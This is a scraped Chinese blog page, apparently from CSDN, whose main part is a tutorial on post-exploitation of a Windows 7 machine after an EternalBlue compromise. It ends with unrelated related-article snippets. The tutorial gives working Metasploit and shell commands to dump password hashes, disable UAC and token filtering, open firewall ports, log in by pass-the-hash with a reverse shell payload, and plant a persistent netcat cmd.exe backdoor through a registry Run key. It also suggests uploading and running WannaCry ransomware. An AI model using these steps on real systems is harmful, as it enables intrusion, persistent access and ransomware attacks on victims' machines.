    会弹出 windows7 登录页面选择其他用户,输入我们刚才创建的账号和密码登陆后会弹出登录消息点击“是”即可返回 Windows7 会查看到 icbug 要连接计算机,30 秒后自动断开说明我们在 30 秒后 Kali Linux 可以成功连接计算机

    关闭主机防护策略并开启后门

    通过 ms17-010 永恒之蓝获取到的 shell 可能会出现操作受限的情况,所以我们使用主机的账户信息建立 session 进行连接。SAM 概述:SAM 文件即账号密码数据库文件,SAM 文件的位置是:

    C:\Windows\System32\config\SAM

    我们回到 MSF 控制台,从 SAM 导出密码 hash

    meterpreter > hashdump

    我们取刚创建的 icbug 用户的 hash 密码

    icbug:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::

    我们创建一条防火墙规则允许 4444 端口访问网络,否则我们建立 session 时 payload 不能通过 4444端口访问网络导致 session 建立失败。

    meterpreter > shellC:\Windows\system32>netsh firewall add portopening TCP 4444 "icbug" ENABLE ALL

    UAC 概述:用户帐户控制(User Account Control,简写作 UAC)是微软公司在其 Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序(有时也称为“恶意软件”)损坏系统的效果。关闭 UAC

    meterpreter > shellC:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADDHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /tREG_DWORD /d 0 /f

    参数说明ADD 添加一个注册表项-v 创建键值-t 键值类型-d 键值的值-f 强制修改注册表项开启 win7 系统主机的默认共享,默认共享对 Windows 主机的文件共享非常方便,也方便黑客利用这个功能,远程执行命令。

    C:\Windows\system32>cmd.exe /k %windir%\System32\reg.exe ADDHKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /vLocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /fC:\Windows\system32>exit #退出 shell 返回 meterpreterC:\Windows\system32>exitC:\Windows\system32>exitexit

    我们先将 session 保存到后台

    meterpreter > background

    3、使用 hash 值登录系统

    msf5 exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/psexecmsf5 exploit(windows/smb/psexec) > set payload windows/meterpreter/reverse_tcpmsf5 exploit(windows/smb/psexec) > set RHOSTS 192.168.1.56msf5 exploit(windows/smb/psexec) > set LHOST 192.168.1.53

    配置用户信息

    msf5 exploit(windows/smb/psexec) > set SMBUser icbug

    密码使用哈希值

    msf5 exploit(windows/smb/psexec) > set SMBPassaad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4

    这里局域网中 SMBDomain 都是 WORKGROUP 如果是域用户需要配置域名称。

    msf5 exploit(windows/smb/psexec) > set SMBDomain WORKGROUPmsf5 exploit(windows/smb/psexec) > exploitmeterpreter > getuid

    我们可以看到虽然我们使用 xuegod 用户进行认证但是我们同样获取到了 SYSTEM 的权限下面我们配置一个后门程序,修改 UAC 的注册表,需要重启才能生效。上传 nc 到 Win7

    meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

    注册表添加启动项执行 nc 反弹 shell 命令

    meterpreter > reg setval -kHKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe'

    nc 参数解释:L 表示用户退出连接后重新进行端口侦听d 后台运行p 指定端口

    meterpreter > shell

    防火墙允许 443 端口访问网络否则开机的时需要用户点击允许访问网络才可以成功执行。

    C:\Windows\system32> netsh firewall add portopening TCP 443 "xuegod443" ENABLEALL

    重启 Win7

    C:\Windows\system32>shutdown -r -f -t 0

    -r 重启-f 强制-t 时间 0 表示立刻

    重启电脑后需要用户进行入系统后,我们的后门程序,才可以使用。在这个锁屏的界面,我们的后门程序还没有运行。查看后门:进入命令行

    netstat -an

    我们新建一个终端使用 nc 进行连接后门。

    root@icbugdeo:~# nc -v 192.168.1.56 443C:\Windows\SysWOW64>exit

    MSF 控制台连接方法,

    msf5 > connect 192.168.1.56 443

    想退出,使用 Ctrl+c 退出

    上传勒索文件至 C 盘根目录下并运行

    扩展:我前面可以上传 nc 程序,大家也可以上传勒索病毒。大体过程如下:1、上传勒索文件至 C 盘根目录下,为了隐蔽可以传至更隐蔽目录

    upload wannacry.exe c:\

    2、执行勒索可执行文件即可

    execute -f c:\wannacry.exe

    阅读全文: http://gitbook.cn/gitchat/activity/5e3a04bf29460201e6212eb6

    您还可以下载 CSDN 旗下精品原创内容社区 GitChat App ,阅读更多 GitChat 专享技术内容哦。

    FtooAtPSkEJwnW-9xkCLqSTRpBKX

    展开全文
  • Windows文件、目录操作函数

    千次阅读 2014-01-10 17:44:35
     SHGetSpecialFolderLocation()函数可以获取Windows桌面目录、启动目录、我的文档目录等 。   第一个参数为“所有者窗口”,调用这个函数的时候可能出现对话框或消息框。   第二个参数是一个整数id,决定哪个...
  • Windows命令生成文件夹目录树状结构

    千次阅读 2020-12-03 17:43:36
    找到需要生成树形结构的文件目录,如果不是在C盘,需要先进入对应大盘符(如进入D盘,使用D:+回车键,d可以不分大小写),再使用cd +目录路径的方式,进入对应的目录。 查看文件目录 使用dir命令,可以查看当前...
  • 嵌入式开发通常是在linux环境下编译,windows下开发,这就需要在linux环境下访问windows目录了,或者在windows上访问linux目录。通常有三种方式 如果是在vm虚拟机上,vm提供了一个设置共享目录功能。 如果linux是...
  • CentOS7挂载Windows下的共享文件夹

    千次阅读 2018-06-18 15:51:30
    使用VMware Tools实现共享文件夹太恶心,折腾了好久,依旧没有解决,只好采用挂载的方式进行。挂载方法如下:1、在Windows下,对某个文件夹进行共享,如share文件夹;2、在CentOS下,执行命令:#mount -t cifs -o ...
  • windows7手动配置MariaDB

    千次阅读 2018-03-29 22:47:43
    1、 从MariaDB的网站下载Windows安装包。安装包有两种版本,.msi格式的和.zip格式的。Msi格式的就是我们常见的双击之后弹出界面进行安装和配置的版本,而zip格式的是下载之后直接解压缩要指定的目录,然后手动修改...
  • 采用知乎上的一种配置方法,放出地址,并简化一下配置过程: 首先我们要创建一个新文件夹存放注册表和我们的ico图标,作者推荐在这里创建: C:\Users\starinsun\AppData\Local\terminal 这里需要使用常量:...
  • Windows7重装系统后文件夹权限的混乱

    千次阅读 2016-02-18 15:22:19
    Windows7重装系统后,文件夹权限混乱了,权限选项卡里面所有者成了S-1-xxxxxx的用户,重新授权很麻烦,经常提示无法继承或者拒绝访问。 管理员权限运行以下命令,重置当前目录文件夹权限: icacls *.* /T /Q /C /...
  • # 炫龙T3-pro 9代cpu无csm兼容选项笔记本GPT硬盘纯uefi安装windows7系统方法 关键词:无csm,9代cpu,笔记本,windows7安装,win7安装,纯uefi,GPT硬盘 动机 win7现在已不太支持一些新的电脑,但由于工作笔记本需要...
  • windows7下Django项目生产环境搭建及踩过的坑Apache是有名的web server,所以我们采用windows64环境下的Apache web server来搭建Django项目的部署环境。但是windows下搭建会遇到各种各样奇怪的问题,以下是本文搭建...
  • 默认情况下windows7是半个屏幕,但Windows10能整个屏幕。 2、实现全屏 第一步:输入命令wmic,此时可以全屏了,但是目录结构不对。 第二步:退出当前的目录结构,恢复到默认的目录结构 第三步:重新连接数据库...
  • Windows Server 2012R2 域与活动目录

    千次阅读 多人点赞 2018-02-21 15:33:39
    一、域与活动目录 什么是域 域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,两个...
  • Windows系统学习笔记总结(自总结带目录

    万次阅读 多人点赞 2018-09-03 14:56:56
    目录 Windows - 3 - 第一讲 VMware - 3 - 1.1安装VMware - 3 - 第二讲 网络 - 5 - 2.1网络知识 - 5 - 第三讲 端口 - 7 - 3.1端口 - 7 - 第四讲 权限和共享 - 8 - 4.1权限设置 - 8 - 4.2数据共享 - 9 - 第...
  • windows 7Z命令行与安装

    千次阅读 2015-07-01 18:04:02
    7z,全称7-Zip, 是一款开源软件。是目前公认的压缩比例最大的压缩解压软件。 7z.exe在CMD窗口的使用说明如下: 7-Zip (A) 4.57 Copyright (c) 1999-2007 Igor Pavlov 2007-12-06 Usage: 7za [...] [...] [] a...
  • Windows7旗舰版的虚拟机上安装WindowsXP系统 一、安装原理 虚拟机是一个应用程序,虚拟机上的系统就是一个文件夹,在虚拟机中的操作完全不会影响物理系统。 二、安装思路 使用VMware应用程序在你的电脑硬盘(非...
  • 这里写目录标题背景:说明:解决步骤参考资料: 背景: 以WSL2方式使用Docker Desktop for Windows确实带来了更好的体验,但同时也带来新的问题。其中最典型的问题就是系统盘空间的占用越来越大。而且还有典型的内存...
  • 对于Windows 7安装node.js 提示“This application is only supported on wWindows 8.1,windows Server 2012 R2, or higher.”类似这种情况的,该问题是因为node.js官方在 x12版本后就不支持win7系统了。 第一步 ...
  • 文章目录Python 3.7.3安装安装程序下载启动安装程序定制安装设置安装目录安装完毕验证安装成功检查Windows环境变量确认Python版本探索Python的安装目录安装目录安装目录下其他的子目录多版本Python共存创建超链接...
  • windows7构建openjdk编译环境

    千次阅读 2017-08-21 09:28:36
    下载openjdk源码 采用直接包下载,地址...cygwin用来在windows下模拟linux环境 下载地址:https://cygwin.com/setup-x86_64.exe 安装cygw
  • 采用eclipse与伪分布式集群连接有利于分布式程序的调试; 现在网络上的文章多是介绍如何搭建伪分布式集群或者是仅介绍在eclipse中如何连接已建立好的伪分布式集群,且大部分介绍都是基于hadoop1.x系列。 软件列表 ...
  • windows镜像管理软件下载:Windows® 7Windows® 自动安装工具包 (AIK)https://www.microsoft.com/zh-cn/download/confirmation.aspx?id=5753“Untitled.xml文件”制作步骤:1.提取映像文件或者编录文件,这里只...
  • Windows Terminal & PowerShell 7 美化

    千次阅读 2020-08-19 09:42:41
    记录一下有关Windows Terminal的折腾记录。...3.PowerShell 7.x 下载 PowerShell 下载 4.字体下载 Fira 是 Mozilla 公司主推的字体系列。 Fira Code 是其中的一员,专为写程序而生。 除了具有等宽等基本属性外
  • First of all, the USB stick MUST be formatted as a FAT32 drive....(U盘必须格式化为FAT32格式,NTFS格式不能用)Next, follow my instructions fromInstalling Windows 7 or Windows Server 2008 R...
  • Windows 远程连接 CentOS 7 图形化桌面

    千次阅读 2019-10-07 21:55:20
    1.安装VNC  yum install tigervnc-server    解决方法:  rm -f /var/run/yum.pid...2.从VNC备份库中,复制service文件,到系统service服务管理目录下  cp /lib/systemd/system/vncserver@.service /etc/s...
  • Windows 7 无法访问Windows2003共享,出现“系统错误 86。网络密码不正确”,但是这些问题都是正确的,经分析问题可能出现在用户身份验证上。 【解决方法】: 一、要解决此问题,请在Windows 2003 ...
  • 参考游鹏老(http://blog.csdn.net/tzp1025029729/article/details/50921138)和snmplink的博文(blog.csdn.net/qingwufeiyang12346/article/details/50596061),利用tftpd32在Ubuntu虚拟机与Windows7之间传输文件...
  • CentOS7挂载windows下的共享文件夹

    万次阅读 2017-03-13 01:59:07
    只好采用挂载的方式来进行了,真是恶心。 挂载方法: 1.在windows下,新建一个文件夹,假设叫做share,然后属性设置为共享文件夹。 2.在CentOS下,执行命令 #mount -t cifs -o username=xxx,password=...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 199,050
精华内容 79,620
关键字:

windows7目录采用